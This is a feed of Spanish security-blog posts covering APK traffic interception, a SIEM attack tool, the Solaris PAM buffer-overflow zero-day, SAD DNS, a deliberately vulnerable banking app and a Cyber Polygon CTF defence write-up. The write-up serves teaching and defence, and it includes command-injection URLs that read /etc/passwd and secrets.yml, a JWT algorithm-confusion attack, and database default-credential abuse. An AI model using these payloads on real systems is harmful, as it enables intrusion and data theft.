Quantcast
Channel: hackplayers
Viewing all 1668 articles
Browse latest View live

Cómo hacer MiTM para inspeccionar el tráfico HTTPS de un APK malicioso de Android

$
0
0

Dado que la depuración de APKs de terceros es complicada y el reversing de APKs muy ofuscados es extremadamente difícil, nuestra siguiente mejor opción es dejar que el APK se ejecute para ver cómo se comporta. Cuando hacemos este tipo de análisis dinámico, buscamos principalmente qué tipos de permisos solicita el APK y qué llamadas hace.

Lamentablemente, la mayoría del malware hoy en día utiliza HTTPS para sus callbacks. Eso hace que la inspección del tráfico de la red sea imposible con un sniffer como Wireshark o tcpdump sin algún tipo de técnica de MiTM.

Ser capaz de inspeccionar el tráfico de red de la muestra de malware de turno proporciona indicadores de compromiso (IOC) vitales para el triage de los analistas y proporciona a los reversers información contextual que les ayuda a centrarse en las rutinas clave dentro del APK.

En este video tutorial, podemos ver cómo utilizar la herramienta MITMProxy en Kali Linux para interceptar y descifrar el tráfico IPV4/IPV6 de un emulador de Android que ejecuta malware APK.

Herramientas necesarias

Fuente: https://www.ringzerolabs.com/2020/10/man-in-middle-android-apk-network.html


SIEM, ¿Durmiendo con el enemigo?

$
0
0

En la mayoría de las empresas medianas y grandes, el cerebro de la seguridad se basa en un SIEM (Security Information and Event Managment), donde todos los equipos de red y servidores envían los eventos de cada uno de los servicios o sistemas operativos, para que a través de las políticas y correlaciones configuradas, se generen las alertas de alguna anomalía o un ataque en la red.

Para que esto funcione es fundamental que el SIEM tenga algún mecanismo de acceso a los diferentes servicios o a los diferentes eventos de cada sistema, por lo cual es un elemento en la red que no solo sirve de concentrador sino que también permite acceder de cierta forma a diferentes. Lo que significa que para las áreas de seguridad es un elemento que debe tener una especial atención, no solo en su funcionamiento sino en sus configuraciones de seguridad, por lo que en ElevenPaths desde hace un par de años hemos estado realizado varias investigaciones entorno a como las empresas configuran la seguridad de este elemento central para la seguridad de las empresas.

El objetivo de la investigación fue desarrollar una herramienta que permita a los equipos de red team detectar las vulnerabilidades más comunes que se generan por malas configuraciones de los SIEM, buscando aprovechar fallos en el manejo de las API, hacer ataques de diccionario, usar las contraseñas por defecto o aprovecharse de los puertos de administración que se dejan configurados. Por lo que se inicio con el desarrollo hace un año, haciendo pruebas en tres diferentes SIEM y hoy se ha llevado la investigación a siete plataformas.

Usando para el desarrollo de las pruebas sus versiones libres y las configuraciones por defecto que tiene cada uno de los SIEM que más se usan en el mercado o que tras la presentación de la herramienta en DEFCON Europe en el 2019 nos fueron solicitando los usuarios, así en esta versión 0.2 se pueden hacer pruebas sobre:

    • Splunk
    • Graylog
    • OSSIM
    • QRadar
    • McAfee SIEM
    • SIEMonster
    • ElasticSIEM

La herramienta es completamente publica y pueden descargarla de GitHub y escrita en Python 3, por lo que la comunidad puede aportar o reportar los bugs que detecte y así seguiremos con la investigación.

Al usarla encontraran un menú, que le permite al analista cargar la IP y el puerto del SIEM a analizar o detectar un SIEM dentro de una red.



Una vez detectado el SIEM el sistema informa el sistema detectado y el puerto de la detección

Dando paso al menú de ataque, que para cada uno de los SIEM es diferente y que muestra todas las posibles pruebas que se pueden realizar y cuales requieren de los datos de conexión y cuales son para obtener esos datos de conexión, en la siguiente imagen se puede ver el menú del SIEM McAfee y como se ejecuta uno de los ataques.


Y así con cada uno de los SIEM que han entrado en la investigación. Encontrando que en todos los SIEM analizados fue posible acceder a la consola de gestión, permitiendo extraer información del sistema, información de la red o crear reglas que permitan que un ataque pase inadvertido. En otros casos se logro obtener acceso a la base de datos del sistema y con esto a todos los equipos de la red.

Lo que demuestra que esta herramienta que es vital para los equipos de seguridad y que debe garantizar  los pilares de la seguridad de la información, en realidad puede ser una puerta de acceso a atacantes, a fugas de información o a mecanismos que permiten esconder un ataque, generando una falsa sensación de seguridad que en algunos casos puede ser muy crítica, pues muchos de estos equipos se han expuesto a Internet para la gestión remota de la seguridad.

Para quienes quieran conocer un poco de como de como esta estructurado el código, se hizo un ElevenPaths Code Talks donde hablamos de esto.

Contribución gracias a Diego Samuel Espitia Montenegro aka @dsespitia, CSA de ElevenPaths.

¿Cómo se organizan los ciberdelincuentes?

$
0
0

A estas alturas yo creo que ya nadie piensa que todos los ciberdelicuentes o cibercriminales son adolescentes trabajando en un sótano con una sudadera con capucha. No digo que no los haya, como lobos solitarios en la hondonada del bosque, pero está claro y meridiano que los grandes "actores" se organizan en complejas bandas con una estructura que se asemeja a la de muchas empresas de tecnología. De hecho imitan tanto su comportamiento que podemos ver que a menudo están activas durante el horario de oficina, se toman los fines de semana libres, trabajan en horario regular, sus miembros se toman vacaciones... Luego establecen objetivos y hasta establecen metas trimestrales.  

Por otro lado el organigrama de las bandas varía evidentemente pero coinciden casi siempre que tienen a un líder, como un director ejecutivo, que supervisa los objetivos más amplios de la organización. Luego por debajo de él tiene una serie de "gerentes de proyecto", que coordinan otras personas a su cargo para las diferentes partes de cada ciberataque. Incluso tienen contactos con otras bandas (con otras suelen incluso competir y rivalizar), gente especializada en finanzas, captación de mulas, etc. 

Lo que os traigo hoy es un simple ejercicio de imaginación de lo que sería la organización de una banda de ciberdelincuentes de tamaño "medio", con sus perfiles y sus roles, y este ha sido el resultado:

Nota: Las fotos son realmente de gente que no existe, generadas por IA de GAN (generative adversarial network) y obtenidas de https://thispersondoesnotexist.com/

Como veis se trata de un grupo bastante multidisciplinario con distintos y variados skills:

Miembros

  • Team leader: responsable de dirigir todas las "misiones" y llevar la comunicación con los miembros de la banda
  • Intrusion coordinator: coordina todas las operaciones a nivel técnico y tiene una amplia visión de cada campaña
  • Coders: desarrolladores de malware que se centran en desarrollar software para infectar los sistemas, persistir, propagarse automáticamente y evadir las detecciones
  • Engineer: mantiene la infraestructura necesaria y administra los sistemas comprometidos o bots
  • Red teamers: diseñan y llevan cabo las distintas fases de la cadena de ataque, identificando y ejecutando todas las tácticas y técnicas oportunas
  • Data miner: investiga, organiza y formatea todos los datos robados para evaluar su valor y monetizarlos
  • Money Specialist: identifica la forma más óptima, estratégica y segura de conseguir dinero con las operaciones

Externos

  • Mule recruiter: coordina la captación y participación de mulas para la obtención y/o blanqueo de rendimientos monetarios obtenidos
  • Contracting: a menudo esponsorizados por terceros anónimos solicitan distintos servicios a la banda
  • Insiders: normalmente empleados sobornados para facilitar información e incluso puertas traseras y otras acciones para facilitar la intrusión

¿Qué opináis? ¿echáis de menos la figura de algún otro crack en la banda? ;)

Vídeos de #hc0n2020, la III conferencia de Hackplayers

$
0
0

El 31 de enero y 1 de febrero de 2020 tuvimos la suerte de poder celebrar la tercera edición la conferencia de Hackplayers h-c0n, que tuvo lugar en la Nave de Madrid materializando todas nuestras ilusiones: nunca habíamos podido compartir con vosotros tanto contenido en dos días que fueron verdaderamente intensos e inolvidables. El resto es ya historia de la que, junto al staff, los ponentes, patrocinadores y asistentes, quedará remanente en nuestra memoria, y creerme que sólo tenemos palabras y sentimientos de agradecimiento para todos los formasteis parte de ella de cualquiera de las maneras posibles. Gracias otra vez. 

Echando la mirada atrás, por aquel entonces llegaban ya noticias del SARS-CoV-2 presente en China que sin embargo creíamos ajeno, como algo muy remoto. Semanas después ya sabéis que el coronavirus empezó a expandirse hasta convertirse en una pandemia mundial. Nuestra vida cambió radicalmente y eventos presenciales como h-c0n y el resto de conferencias evidentemente ya no son posibles como antes. Seguro que muchos pensaréis (y estamos de acuerdo) que ante esta grave crisis eso ya casi carece de verdadera importancia, pero es irremediable añorar reuniones como aquellas, encontrarnos sin Internet de por medio y tener la posibilidad de echar unas risas y unas cervezas, aunque sea de vez en cuando. ¡Pero seguro volveremos!. 

Por tanto inmersos en el recuerdo de nuestra conferencia de este año, queríamos publicar los vídeos de las charlas que se grabaron en el auditorio principal, gracias a los ponentes correspondientes. Nos hubiese gustado haber podido grabar y compartir con vosotros también las del resto de tracks pero nos faltaron tiempo y medios, así que nos lo apuntamos para la siguiente. Hasta entonces, os dejamos dichos videos para que los disfruteis:

 

 #h-c0n2020 

Usan un zero-day de Solaris para atacar redes corporativas

$
0
0

Desde hace algún tiempo se viene observando un grupo bautizado por Mandiant como UNC1945 que utiliza una serie de herramientas y técnicas contra sistemas Windows, Linux y muy reseñablemente contra sistemas Solaris. Para los que no habéis tenido la oportunidad de tocar este sistema Unix ex-de Sun Microsystems he de deciros que era cosa fina a lomos de un Sparc dentro de una Enteprise 450 o hasta de una Ultra 5/10... pero esas son historias de un admin-cebolleta de hace más de 15 años... 

Para dar un poquito más de contexto decir que el código fuente de Solaris se liberó en 2005 convirtiéndose en OpenSolaris hasta el año 2010 en el que Oracle compró Sun y decidió que dejara de ser "open". La última versión estable, la 11.4, data de 2018 es decir de hace más de 2 años. Aún así mantiene soporte y sigue habiendo todavía muchos servidores Solaris en circulación (incluso versiones obsoletas) y actores como UNC1945 lo consideran interesante de explotar pues pueden suponer un target importante de cara a infiltrarse en muchas redes corporativas.


Curiosamente, en abril de 2020, encontrábamos en el black market por $3000 USD un exploit con la descripción "Oracle Solaris SSHD Remote Root Exploit" llamado EVILSUN y, oh casualidad, a mediados de 2020 se descubrió en un servidor Solaris 9 una herramienta de UNC1945 que contenía un 0-day bautizado con el CVE-2020-14871 que explotaba una vulnerabilidad recientemente parcheada en el módulo PAM (Pluggable Authentication Module).

PAM permite que una aplicación Solaris autentique a los usuarios al tiempo que permite que el administrador del sistema configurar en un único sitio los parámetros de autenticación (por ejemplo, la complejidad y la caducidad de la contraseña). La vulnerabilidad real es un desbordamiento de búfer clásico basado en pila ubicado en la función parse_user_name:

static int
parse_user_name(char *user_input, char **ret_username)
{
register char *ptr;
register int index = 0;
char username[PAM_MAX_RESP_SIZE];
/* ... */

ptr = user_input;
/* ... */
/*
* username will be the first string we get from user_input
* - we skip leading whitespaces and ignore trailing whitespaces
*/
while (*ptr != '\0') {
if ((*ptr == '') || (*ptr == '\t'))
break;
else {
username[index] = *ptr;
index++;
ptr++;
}
}
/* ret_username will be freed in pam_get_user(). */
if ((*ret_username = malloc(index + 1)) == NULL)
return (PAM_BUF_ERR);
(void) strcpy(*ret_username, username);
return (PAM_SUCCESS);
}


La vulnerabilidad surge siempre que un nombre de usuario de más tamaño que PAM_MAX_RESP_SIZE (512 bytes) se pasa a parse_user_name. De hecho, es probable que la vulnerabilidad haya existido durante décadas y que haya estado "latente" tanto tiempo porque solo es explotable si una aplicación no limita los nombres de usuario a una longitud menor antes de pasarlos a PAM, como puede ocurrir con un demonio SSH.

La autenticación Keyboard-Interactive es un mecanismo de autenticación de "passthrough" en el que el protocolo SSH transmite mensajes y respuestas entre las librerías PAM del servidor y el cliente. Fue diseñado para admitir formas personalizadas de autenticación, como de doble factor, sin modificar el protocolo SSH. Al manipular la configuración del cliente SSH para forzar la autenticación de Keyboard-Interactive para solicitar el nombre de usuario en lugar de enviarlo por los medios normales, un atacante también puede pasar una entrada ilimitada a la función parse_user_name de PAM.

Exploit PoC


Con el fin de probar rápidamente diferentes versiones de Solaris y ver si pueden ser vulnerables, la gente de Mandiant desarrolló un exploit de prueba para provocar el desbordamiento y bloquear el servidor SSH. El cliente estándar de OpenSSH ofrece todas las opciones necesarias para activar la vulnerabilidad:


Para ver si el servidor es vulnerable basta con recibir un "Authentication failed" (si no lo fuera se nos volvería a pedir el usuario). El desbordamiento en la librería PAM también hace que el servidor SSH crashee:

El sistema operativo escribe un dump por el crash en /core si el servidor SSH falla sin un debugger attacheado. De hecho, si existe un archivo /core en una máquina Solaris y vemos que se trata de sshd, esos son indicadores claros de que e ha explotado previamente esta vulnerabilidad.

Sistemas operativos vulnerables

  • Solaris 9 (algunas versiones)
  • Solaris 10 (todas las versiones)
  • Solaris 11.0
    • Si bien la función parse_user_name sigue siendo vulnerable en Solaris 11.1 sin parches y posteriores algunos cambios no documentados en la librería PAM truncan el nombre de usuario antes de que la función vulnerable lo reciba, lo que hace que el fallo no sea explotable a través de SSH. Si la función parse_user_name fuera accesible en otro contexto, entonces la vulnerabilidad podría volverse explotable.
  • Illumos (OpenIndiana 2020.04)

Mitigaciones y workarounds

Podemos encontrar un parche de Oracle para Solaris 10 y 11 entre las actualizaciones de octubre de 2020.
Debido a que Solaris 9 ya no está soportado Oracle ya no se ha publicado un parche. Para los sistemas Solaris 9, así como Solaris 10 u 11 donde la aplicación de parches es inconveniente, se recomienda editar el archivo /etc/ssh/ shd_config para agregar las líneas ChallengeResponseAuthentication no y KbdInteractiveAuthentication no y reiniciar el servidor SSH. Si bien esto elimina la posibilidad de aprovechar la vulnerabilidad mediante la autenticación Keyboard-Interactive SSH, puede haber otras formas de atacar la función parse_user_name y recomendamos usar esta solución solo como una solución provisional hasta que se puedan actualizar los sistemas Solaris 9 o se pueda actualizar el parche de octubre.

Fuentes: 

Decoder++: una herramienta para codificar/decodificar datos en varios formatos

$
0
0

Decoder++ de bytebutcher es una aplicación para pentesters y desarrolladores bastante chula para decodificar o codificar datos en varios formatos. 

Para instalar la herramienta simplemente podemos usar pip u obtener la fuente desde el repo de Github:

pip3 install decoder-plus-plus

o git clone https://github.com/bytebutcher/decoder-plus-plus.git

En modo gráfico tenemos dos opciones: main-window-mode o dialog-mode. Mientras que el primer modo admite tabs, con el segundo tenemos la opción de devolver el contenido transformado a stdout para su posterior procesamiento. Esto es muy útil si queremos llamar a Decoder++ desde otras herramientas como BurpSuite (echa un vistazo a la extensión de BurpSuite Send-to) o cualquier otro script en el que queramos agregar una interfaz gráfica de usuario.

Por otro lado, si no queremos iniciar una interfaz gráfica podemos usar también la herramienta desde la línea de comandos:

(/tools/decoder-plus-plus/dpp$ python3 runner.py)
$ dpp -e base64 -h sha1 "encodeame y hasheame esto por la gracia de Shon"
763c99199ea69043ea7edb4dcb90e53457e57cd7
Para listar codecs disponibles:
$ dpp -l base enc

Codec Type
----- ----
base16 encoder
base32 encoder
base64 encoder
Decoder ++ distingue entre codificadores, decodificadores, hashes y scripts. Al igual que la interfaz gráfica por línea de comandos permite utilizar varios códecs en un único comando:
$ dpp "H4sIAAXmeVsC//NIzcnJ11Eozy/KSVEEAObG5usNAAAA" -d base64 -d gzip
Hello, world!
Si bien los codificadores, decodificadores y hashers se pueden usar de primeras, algunos de los scripts pueden requerir configuración adicional. Para mostrar todas las opciones disponibles de un script específico, se puede usar el parámetro de ayuda:
$ dpp "Hello, world!" -s split_and_rejoin help

Split & Rejoin
==============

Name Value Group Required Description
---- ----- ----- -------- -----------
split_term , yes the parameter used for splitting
split_by_chars True split_behaviour no specifies whether text should be split at chars
split_by_length False split_behaviour no specifies whether text should be split at interval
rejoin_with_chars yes the chars used to join the split text
Para configurar un script específico, se debe proporcionar las opciones individuales como pares nombre-valor (por ejemplo, search_term = "Hello"):
$ dpp "Hello, world!" -s search_and_replace search_term="Hello" replace_term="Hey"
Hey, world!

Características

  • Interfaces de usuario: 
    • Interfaz gráfica del usuario 
    • Interfaz de línea de comandos 
  • Scripts y códecs preinstalados: 
    • Codificar/Decodificar: Base16, Base32, Base64, Binary, Gzip, Hex, Html, JWT, HTTP64, Octal, Url, Url +, Zlib 
    • Hash: Adler-32, Apache-Md5, CRC32, FreeBSD-NT, Keccak224, Keccak256, Keccak384, Keccak512, LM, Md2, Md4, Md5, NT, PHPass, RipeMd160, Sha1, Sha3 224, Sha3 256, Sha3 384, Sha3 512, Sha224, Sha256, Sha348, Sha512, Sun Md5 
    • Scripts: CSS-Minify, Caesar, Filter-Lines, Identify File Format, Identify Hash Format, JS-Beautifier, JS-to-XML, HTML-Beautifier, Little/Big-Endian Transform, Reformat Text, Remove Newlines, Remove Whitespaces, Search and Replace, Split and Rejoin, Unescape/Escape String 
  • Decodificación inteligente 
  • Sistema de plugins 
  • Cargar y guardar la sesión actual 
  • Plataformas: Windows, Linux y MAC 

Desarrollo de plugins 

Para agregar códecs personalizados, simplemente tenemos que copiarlos en la carpeta $HOME/.config/dpp/plugins/. 

Proyecto: https://github.com/bytebutcher/decoder-plus-plus

SAD DNS: un nuevo ataque que puede hacer tambalear los cimientos de Internet

$
0
0

En 2008 Dan Kaminsky publicó uno de los fallos más graves en Internet de la historia, uno por el que cualquier atacante podía redirigir a cualquiera a otros sitios falsos, incluso si la víctima tecleaba de manera correcta dicha dirección en el navegador. Con la coordinación de toda la industria, miles de proveedores de DNS de todo el mundo llevaron a cabo una solución que evitó este escenario apocalíptico. Pero claro, si hablamos de apocalipsis 2020 es un año especial...

El pasado miércoles investigadores de las Universidades de California y Tsinghua publicaron una serie de fallos de seguridad que reviven un ataque de envenamiento de caché DNS similar al de Kaminsky: el bautizado como SAD DNS o Side-channel AttackeD DNS. El nombre de side-channel o canal lateral es porque se identifica el puerto UDP abierto por el cliente para resolver un nombre determinado ya que con eso y el ID de la transacción (TxID) se le puede enviar una respuesta falsificada. Y, ¿cómo puede identificar un atacante el puerto UDP abierto por su víctima? Veamos...

Si escaneamos un puerto UDP que está abierto no recibiremos respuesta pero si el puerto está cerrado el servidor responderá por ICMP con el mensaje de que el puerto es inalcanzable. Sin embargo, para evitar ser saturado los sistemas limitan las respuestas a 1000 por segundo en Linux o 200 por segundo en Windows. Precisamente, con esa lógica y esos límites juega este ataque: si después de una verificación de un rango de 1000 puertos (se escanean 50 puertos cada 20 ms realmente) volvemos a lanzar otra petición, esta vez con la IP no spoofeada, y nos devuelve un paquete ICMP entonces ya sabemos que uno de ellos estaba abierto. Entonces para obtener el puerto abierto evidentemente sólo necesitaremos unos 65 segundos (65536 puertos / 1000 límite x 1 segundo). voilá! 

Con el puerto de origen identificado todo lo que un atacante tiene que hacer es insertar una dirección IP maliciosa para redirigir el tráfico del sitio web y realizar con éxito un ataque de envenenamiento de caché DNS.

Este nuevo fallo afecta a los sistemas operativos Linux (kernel 3.18-5.10), Windows Server 2019 (versión 1809) y posteriores, macOS 10.15 y posteriores, y FreeBSD 12.1.0 y posteriores. Se estima que el 34% de los resolvers abiertos en Internet son vulnerables, 85% de los cuales forman parte de servicios DNS tan populares como los de Google y Cloudflare.

Para mitigar este ataque se recomienda deshabilitar las respuestas ICMP salientes y configurar el tiempo de espera de las consultas de DNS de manera más agresiva. Por otro lado, el parche del kernel lo que hace es que no haya un valor fijo de 1000 respuestas por segundo, sino de un valor aleatorio de entre 500 y 2000.

Fuentes:

Damn-Vulnerable-Bank: una app Android insegura para practicar

$
0
0

Damn Vulnerable Bank es una aplicación para Android que simula ser una app de un banco y que nos proporciona una interfaz para realizar pruebas y poder obtener una comprensión detallada de los aspectos internos y de seguridad más comunes.

Cómo utilizar la aplicación

- Clonar el repositorio:

$ git clone https://github.com/rewanth1997/Damn-Vulnerable-Bank.git

Servidor de Backend

$ cd Damn-Vulnerable-Bank/BackendServer


Con docker:

  • $ docker-compose up --build
  • Hacer una petición a /api/health/check para ver el estado
    •     curl <IP>:<magic_port>/api/health/check

Sin docker:

  • Instalar dependencias
    • nodejs (v10.19.0)
    • npm (6.14.4)
    • mysql (Ver 8.0.21)
  • Actualizar la configuración de mysql (campos de nombre de usuario, contraseña) en config/config.json
  • Insertar datos en la base de datos
    • cat database/schema+data.sql | mysql -u root -p 
  • Instalar paquetes npm
    • npm install
  • Iniciar el servidor de aplicaciones
    • npm start
  • Hacer una petición a /api/health/check para ver el estado
    •     curl <IP>:<magic_port>/api/health/check
Aplicación
  • Descargar la apk e instalarla a través de adb o manualmente
  • Abrir la aplicación y agregar la IP de backend en la pantalla de inicio
  • Probar el estado de ejecución presionando verificación de estado
  • Crear una cuenta mediante la opción de registro o signup y luego iniciar sesión con las credenciales
  • Realizar operaciones bancarias
  • Iniciar sesión como administrador para aprobar al beneficiario
*La base de datos se completa previamente con algunos usuarios para una exploración rápida.

UsernamePasswordAccount NumberBeneficiariesAdmin privileges
user1password1111111222222, 333333, 444444No
user2password2222222NoneNo
user3password3333333NoneNo
user4password4444444NoneNo
adminadmin999999NoneYes

Características
  • Sign up/login
  • Interfaz de profile
  • Cambio de contraseña
  • Interfaz de configuración para actualizar la URL del backend
  • Agregar la verificación de fingerprints antes de transferir/ver fondos
  • Agregar chequeo de PIN antes de transferir/ver fondos
  • Ver saldo
  • Transferir dinero
    • Mediante entrada manual
    • Mediante escaneo QR
  • Agregar/Ver beneficiario (eliminar pendiente)
  • Ver historial de transacciones (descarga pendiente)
Construyendo la Apk con ofuscación
  • Ir a Opciones de compilación y seleccionar Generar paquete firmado/Apk
  • Luego seleccionar Apk como opción y hacer clic en siguiente
  • Crear un nuevo almacén de claves para firmar el apk y recordar la contraseña
  • Seleccionar ese almacén de claves e ingresar la contraseña
  • Ahora seleccionar Build variant como Release y Signature version como V2
  • Construir (build) la apk
Lista de vulnerabilidades en la aplicación (Alerta de spoiler)
  • Detección de root y emulador
  •  Comprobaciones anti-debugging (evita hooking con frida, jdb, etc.)
  • SSL pinning: pinear el certificado/clave pública
  • Ofuscar todo el código
  • Cifrar todas las solicitudes y respuestas
  • Información confidencial encodeada
  • Fuga de Logcat
  • Almacenamiento inseguro (tal vez números de tarjetas de crédito guardados)
  • Actividades exportadas
  • Token JWT
  • Integración de WebView
  • Deep links
  • IDOR
TODO
  • Agregar profile y rutas de cambio de contraseña
  • Crear diferentes secrets para administradores y otros usuarios
  • Agregar generación dinámica de secretos para verificar tokens JWT
  • Introducir error o bug en la verificación de jwt
  • Encontrar una manera de almacenar la base de datos y montarla mientras se usa Docker
  • Entorno dockerizado
Autores

Rewanth Cool (Rest API)GithubLinkedIn
Hrushikesh Kakade (Android App)GithubLinkedIn
Akshansh Jaiswal (Android App)GithubLinkedIn

Repo: https://github.com/rewanth1997/Damn-Vulnerable-Bank


Writeup Cyber Polygon 2020

$
0
0

A principios de julio tuvo lugar el Cyber Polygon 2020, un ciberejercicio internacional organizado por el Centro de Ciberseguridad del Foro Económico Mundial, Sberbank Group y BI.ZONE. La modalidad era un CTF de tipo ataque-defensa y el escenario era el siguiente: 

La infraestructura virtual de una organización contenía un servicio que procesaba información confidencial de un cliente. Este servicio se convirtió en punto de interés de un grupo APT. Los ciberdelincuentes iban a robar datos confidenciales de los usuarios y luego revenderlos en la Darknet para recibir un beneficio económico y dañar la reputación de la empresa. El grupo APT estudió el sistema de destino previamente y descubrió varias vulnerabilidades críticas. El Actor lanzó el ataque el día del ejercicio. 

Y ese era el eje central. Sin embargo, durante la capacitación de Cyber ​​Polygon, no se esperaba que los participantes se atacaran entre sí; todo lo que tenían que hacer era proteger sus propios servicios. Por lo tanto se tuvieron que poner sólo la chaqueta de azulones/Blue Teams y sus objetivos eran: 

  • contener el ataque lo más rápido posible 
  • minimizar la cantidad de información robada 
  • mantener la disponibilidad del servicio 

A cada equipo participante se le proporcionó un servidor virtual Linux con un servicio con 5 vulnerabilidades que debían proteger: 


1. Insecure Direct Object References (IDOR) 

La vulnerabilidad conocida como referencia de objeto directo inseguro (IDOR) es causada por fallos en los mecanismos de autorización. La vulnerabilidad permite que un atacante obtenga acceso a datos de usuario que de otro modo serían inaccesibles. Concretamente ésta estaba en el método get de la clase UsersController. 

 backend/app/controllers/users_controller.rb:

def get
user = User.find(params[:id])
if params[:full].present?
json_response({
id: user.id,
name: user.name,
email: user.email,
phone: user.phone
})
else
json_response({
id: user.id,
name: user.name
})
end
end

Al llamar a la dirección http://example.com/api/users/ cualquiera podía obtener un objeto JSON que contenía un id numérico y un nombre de usuario correspondiente al mismo. Pero esta funcionalidad como tal no representaba ninguna amenaza para los datos del usuario. En su lugar, debían centrarse en el siguiente fragmento de código:

if params[:full].present?
json_response({
id: user.id,
name: user.name,
email: user.email,
phone: user.phone

})
Había que tener en cuenta que si se transmite el parámetro completo en una petición, la respuesta del servidor devolvía más datos: además del ID y el nombre de usuario, contenía su correo electrónico y número de teléfono. Las flags estaban almacenadas y podían ser robadas del campo user.phone en el directorio del servicio del juego (esta actividad podría detectarse, por ejemplo, analizando el tráfico de la red). Por lo tanto sólo había que mandar una petición del tipo http://example.com/api/users/?full=1 y buscar la flag en el campo de teléfono del JSON de salida. 

Para protegerse contra esta vulnerabilidad, era una buena práctica ocultar los datos confidenciales al mostrarlos al usuario. Por lo tanto, el número de teléfono +71112223344 se podía mostrar como +7111 ***** 44. Por ejemplo:

def get
user = User.find(params[:id])
if params[:full].present?
# Masking user's phone number
uphone = user.phone
x = 5
y = uphone.length - 3
replacement = '*'*(y-x)
uphone[x..y] = replacement

json_response({
id: user.id,
name: user.name,
email: user.email,
phone: uphone
})
else
json_response({
id: user.id,
name: user.name
})
end
end
Con esa config el equipo atacante habría obtenido una flag incompleta como Polyg********X}. 


2. Inyección de comandos

La inyección de comandos es el resultado de un filtrado inadecuado de los datos del usuario. Esta vulnerabilidad permite a un atacante inyectar comandos del sistema operativo que se ejecutan en el sistema de destino con los privilegios de la aplicación vulnerable. En el juego, la vulnerabilidad estaba presente en el método disk_stats de la clase StatsController. 

backend/app/controllers/stats_controller.rb:

def disk_stats
if params[:flags].present?
flags = params[:flags]
else
flags = ''
end

json_response({
disk: `df #{flags}`
})
end
Al llamar a la URL http://example.com/api/disk_stats, el servicio respondía con la utilidad df del sistema de salida en el campo del disco del objeto JSON, que permitía evaluar la cantidad de espacio libre en el sistema de archivos. El comando que se llamaba fue diseñado para transmitir varios parámetros, pero su valor no se filtra:
if params[:flags].present?
flags = params[:flags]

~~~~~~~~~~~~~~~~~~~~~~~~~~

json_response({
disk: `df #{flags}`
})
Esto significa que un atacante puede ejecutar prácticamente cualquier comando del sistema utilizando una sintaxis especial. Por ej. http://example.com/api/disk_stats?flags=;cat /etc/passwd 

Al mandar una petición http://example.com/api/disk_stats?flags=>dev/null;cat config/secrets.yml los atacantes podían obtener las claves para firmar tokens JWT. Con dichas claves se podía por tanto generar un token para cualquier usuario y con dicho token hacer una petición http://example.com/api/me donde se podían obtener número de teléfono del usuario y la flag. 

Para protegerse contra esta vulnerabilidad, una medida suficiente era prohibir que se inyectaran parámetros en la llamada de comando, ya que el rendimiento general del sistema no está vinculado al uso de este endpoint:

def disk_stats
json_response({
disk: `df`
})
end

3. Configuración incorrecta de seguridad o misconfiguration 

La vulnerabilidad conocida como configuración incorrecta de seguridad generalmente es causada por un factor humano. Las configuraciones de aplicaciones estándar a menudo no están específicamente orientadas a la seguridad. Debido a la falta de proactividad, atención o competencia del personal responsable, estas configuraciones a veces no se adaptan a las duras realidades que conllevan importantes implicaciones de seguridad. 

En el ejercicio había una vulnerabilidad incrustada en la descripción del servicio db, en el archivo docker-compose.yml. 

docker-compose.yml:

  db:
image: postgres
restart: always
network_mode: bridge
volumes:
- ./db_data:/var/lib/postgresql/data
ports:
- 5432:5432
environment:
POSTGRES_DB: ch4ng3
POSTGRES_USER: ch4ng3
POSTGRES_PASSWORD: ch4ng3

Como puede ver, el puerto de la base de datos estaba disponible desde la red externa. Además, el servidor de la base de datos utilizaba lo mismo como nombre de base de datos, nombre de usuario y contraseña, que también coincidía con el servicio ch4ng3.org. 

Habiendo detectado el puerto de la base de datos como resultado del escaneo de la red, el Equipo atacante podía hacer fuerza bruta del nombre de usuario y la contraseña de la base de datos. Luego ejecutar una petición SQL como la de debajo, que devuelve todos los números de teléfono de los usuarios con flags incluídas:

SELECT phone FROM users WHERE phone LIKE 'Polygon%'
Para protegerse contra esta vulnerabilidad, la solución ideal habría sido prohibir conectarse externamente a la base de datos y/o cambiar la contraseña del usuario de la base de datos (con el servicio api reconfigurado en consecuencia):
  db:
image: postgres
restart: always
network_mode: bridge
volumes:
- ./db_data:/var/lib/postgresql/data
environment:
POSTGRES_DB: ch4ng3
POSTGRES_USER: ch4ng3
POSTGRES_PASSWORD: <VERY_SECRET_PASSWORD>

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

environment:
- DATABASE_URL=postgres://ch4ng3:<VERY_SECRET_PASSWORD>@db:5432/ch4ng3?sslmode=disable

4. Cambio de algoritmo de firma JWT 

La próxima vulnerabilidad estaba relacionada con el cambio de algoritmo de firma JWT, presente en el método de decodificación de la clase JsonWebToken.

 backend/app/lib/json_web_token.rb:

def self.decode(token, algorithm)
# cannot store key as ruby object in yaml file
public_key = Rails.application.secrets.public_key_base
if algorithm == 'RS256'
public_key = OpenSSL::PKey::RSA.new(public_key)
end
# get payload; first index in decoded array
body = JWT.decode(token, public_key, true, {:algorithm => algorithm})[0]
HashWithIndifferentAccess.new body
# rescue from expiry exception
rescue JWT::ExpiredSignature, JWT::VerificationError => e
# raise custom error to be handled by custom handler
raise ExceptionHandler::InvalidToken, e.message
end
Las siguientes líneas merecen especial atención:
public_key = Rails.application.secrets.public_key_base
if algorithm == 'RS256'
public_key = OpenSSL::PKey::RSA.new(public_key)
end
# get payload; first index in decoded array
body = JWT.decode(token, public_key, true, {:algorithm => algorithm})[0]
La aplicación carga la línea con la clave pública de servicio desde el archivo de configuración y, cuando se ha transmitido un algoritmo RS256 en el token, convierte esa línea en una clave pública RSA, que se utiliza además para verificar la firma del token. Hay que tener en cuenta que si se transmite cualquier otro valor en el parámetro del algoritmo, la línea de clave pública no se convertirá. Si el valor HS256 se envía al campo alg JWT, el algoritmo simétrico HMAC se utilizará para la verificación de la firma del token, y exactamente esta línea de clave pública se utilizará como clave para verificar la firma del token. 

 Así es como el Equipo atacante podía aprovechar esta debilidad: 

- Al enviar una petición http://example.com/api/auth/third_party, los atacantes recibieron la clave pública del servicio del campo public_key del objeto JSON de salida. 

- Una vez obtenida la clave pública, el Equipo Atacante podía generar un token JWT válido para cualquier usuario enviando el valor HS256 al campo alg JWT y firmando el token, con la línea de clave pública del servicio utilizada como secreto para el algoritmo HMAC. 

- Al enviar una petición http://example.com/api/me en nombre del usuario para el que se generó el token, el Equipo atacante obtuvo el número de teléfono del usuario y lo verificó en busca de una flag. 

Para protegerse contra esta vulnerabilidad, la siguiente recomendación podría haber ayudado: cuando se trabaja con JWT, es mejor usar solo un algoritmo de firma a la vez, ya sea simétrico o asimétrico. 

